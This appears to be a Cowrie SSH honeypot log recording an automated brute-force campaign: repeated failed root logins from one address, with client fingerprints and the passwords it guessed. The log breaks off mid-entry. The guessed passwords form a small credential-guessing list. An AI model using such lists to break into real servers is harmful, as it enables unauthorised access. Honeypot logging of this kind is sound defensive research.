{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:57.441227Z","src_ip":"60.165.124.241","session":"0ffe6258a2bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwe123456!@#","message":"login attempt [root/Qwe123456!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:58.176216Z","src_ip":"60.165.124.241","session":"0ffe6258a2bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:59.434787Z","src_ip":"60.165.124.241","session":"0ffe6258a2bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60362,"dst_ip":"10.17.0.5","dst_port":22,"session":"b99a1d7b512b","protocol":"ssh","message":"New connection: 60.165.124.241:60362 (10.17.0.5:22) [session: b99a1d7b512b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:59.672872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:59.677583Z","src_ip":"60.165.124.241","session":"b99a1d7b512b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:59.915935Z","src_ip":"60.165.124.241","session":"b99a1d7b512b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AAss1122","message":"login attempt [root/AAss1122] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:00.662537Z","src_ip":"60.165.124.241","session":"b99a1d7b512b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:01.916904Z","src_ip":"60.165.124.241","session":"b99a1d7b512b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35250,"dst_ip":"10.17.0.5","dst_port":22,"session":"39c6ae102e0b","protocol":"ssh","message":"New connection: 60.165.124.241:35250 (10.17.0.5:22) [session: 39c6ae102e0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:02.166587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:02.173927Z","src_ip":"60.165.124.241","session":"39c6ae102e0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:02.428936Z","src_ip":"60.165.124.241","session":"39c6ae102e0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"space","message":"login attempt [root/space] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:03.186166Z","src_ip":"60.165.124.241","session":"39c6ae102e0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:04.429590Z","src_ip":"60.165.124.241","session":"39c6ae102e0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38504,"dst_ip":"10.17.0.5","dst_port":22,"session":"f407958f41f8","protocol":"ssh","message":"New connection: 60.165.124.241:38504 (10.17.0.5:22) [session: f407958f41f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:04.700001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:04.705781Z","src_ip":"60.165.124.241","session":"f407958f41f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:04.982684Z","src_ip":"60.165.124.241","session":"f407958f41f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd@123","message":"login attempt [root/p@ssw0rd@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:05.796242Z","src_ip":"60.165.124.241","session":"f407958f41f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:07.070973Z","src_ip":"60.165.124.241","session":"f407958f41f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41632,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1e2944c3496","protocol":"ssh","message":"New connection: 60.165.124.241:41632 (10.17.0.5:22) [session: e1e2944c3496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:07.281459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:07.286973Z","src_ip":"60.165.124.241","session":"e1e2944c3496","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:07.523609Z","src_ip":"60.165.124.241","session":"e1e2944c3496","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:08.247238Z","src_ip":"60.165.124.241","session":"e1e2944c3496","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:09.485305Z","src_ip":"60.165.124.241","session":"e1e2944c3496","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44468,"dst_ip":"10.17.0.5","dst_port":22,"session":"3402b5413c48","protocol":"ssh","message":"New connection: 60.165.124.241:44468 (10.17.0.5:22) [session: 3402b5413c48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:09.716760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:09.721611Z","src_ip":"60.165.124.241","session":"3402b5413c48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:09.957268Z","src_ip":"60.165.124.241","session":"3402b5413c48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":40660,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f6b18893414","protocol":"ssh","message":"New connection: 45.148.10.121:40660 (159.203.135.109:22) [session: 8f6b18893414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:10.079708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:10.085533Z","src_ip":"45.148.10.121","session":"8f6b18893414","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:10.213741Z","src_ip":"45.148.10.121","session":"8f6b18893414","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"scooper_2014","message":"login attempt [root/scooper_2014] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:10.669178Z","src_ip":"60.165.124.241","session":"3402b5413c48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:11.907601Z","src_ip":"60.165.124.241","session":"3402b5413c48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47434,"dst_ip":"10.17.0.5","dst_port":22,"session":"d95a078de42d","protocol":"ssh","message":"New connection: 60.165.124.241:47434 (10.17.0.5:22) [session: d95a078de42d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:12.144360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:12.149238Z","src_ip":"60.165.124.241","session":"d95a078de42d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:12.391763Z","src_ip":"60.165.124.241","session":"d95a078de42d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123..","message":"login attempt [root/Aa123123..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:13.114482Z","src_ip":"60.165.124.241","session":"d95a078de42d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:14.356308Z","src_ip":"60.165.124.241","session":"d95a078de42d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50446,"dst_ip":"10.17.0.5","dst_port":22,"session":"e205be00d048","protocol":"ssh","message":"New connection: 60.165.124.241:50446 (10.17.0.5:22) [session: e205be00d048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:14.603864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:14.609153Z","src_ip":"60.165.124.241","session":"e205be00d048","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:14.857588Z","src_ip":"60.165.124.241","session":"e205be00d048","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7ujMko0admin_123","message":"login attempt [root/7ujMko0admin_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:15.606069Z","src_ip":"60.165.124.241","session":"e205be00d048","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:16.854121Z","src_ip":"60.165.124.241","session":"e205be00d048","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53434,"dst_ip":"10.17.0.5","dst_port":22,"session":"1128bc53b6f2","protocol":"ssh","message":"New connection: 60.165.124.241:53434 (10.17.0.5:22) [session: 1128bc53b6f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:17.080098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:17.084301Z","src_ip":"60.165.124.241","session":"1128bc53b6f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed255